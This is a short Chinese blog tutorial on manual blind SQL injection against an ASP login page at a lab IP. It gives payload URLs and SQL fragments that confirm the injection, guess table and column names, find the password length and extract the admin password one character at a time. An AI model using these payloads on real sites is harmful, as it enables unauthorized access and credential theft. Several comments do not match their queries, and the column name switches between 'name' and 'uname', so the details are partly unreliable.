最新消息:本站技术交流 QQ 群:28124927

SQL手工注入测试

ASP exchen 5129浏览 0评论

login.html

login.asp

参数: http://192.168.10.1/login.asp?pass=test&name=test

原SQL语句:SELECT * FROM data Where uname='test'

1.构造能执行的SQL语句
http://192.168.10.1/login.asp?pass=test&name=test' and 1=1 and 'a'='a
相当于执行SQL语句为SELECT * FROM data Where uname='test' and 1=1 and 'a'='a'
如果执行成功,1=1就是我们可能执行的SQL语句

2.猜表名

将1=1替换 (select count(*) from data)>0
http://192.168.10.1/login.asp?pass=test&name=test' and (select count(*) from data)>0 and 'a'='a
相当于执行SQL语句
SELECT * FROM data Where uname='test' and (select count(*) from data)>0'

3.猜用户名字段
(select count(name) from data)>0

4.猜密码字段
(select count(pass) from data)>0

5.猜密码长度
//判断密码长度大于1
(Select count(*) from data where name='admin' and len(pass)>1)>0
//判断密码长度大于10
(Select count(*) from data where name='admin' and len(pass)<10)>0

6.逐位猜密码
//猜测第1位密码是否为数字
(Select count(*) from data where uname='admin' and mid(pass,1,1)<'9')>0
//猜测第1位密码是否为字母
(Select count(*) from data where uname='admin' and mid(pass,1,1)>'a')>0
//猜测第1位密码是否等于c
(Select count(*) from data where uname='admin' and mid(pass,2,1)='c')>0

转载请注明:exchen's blog » SQL手工注入测试

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址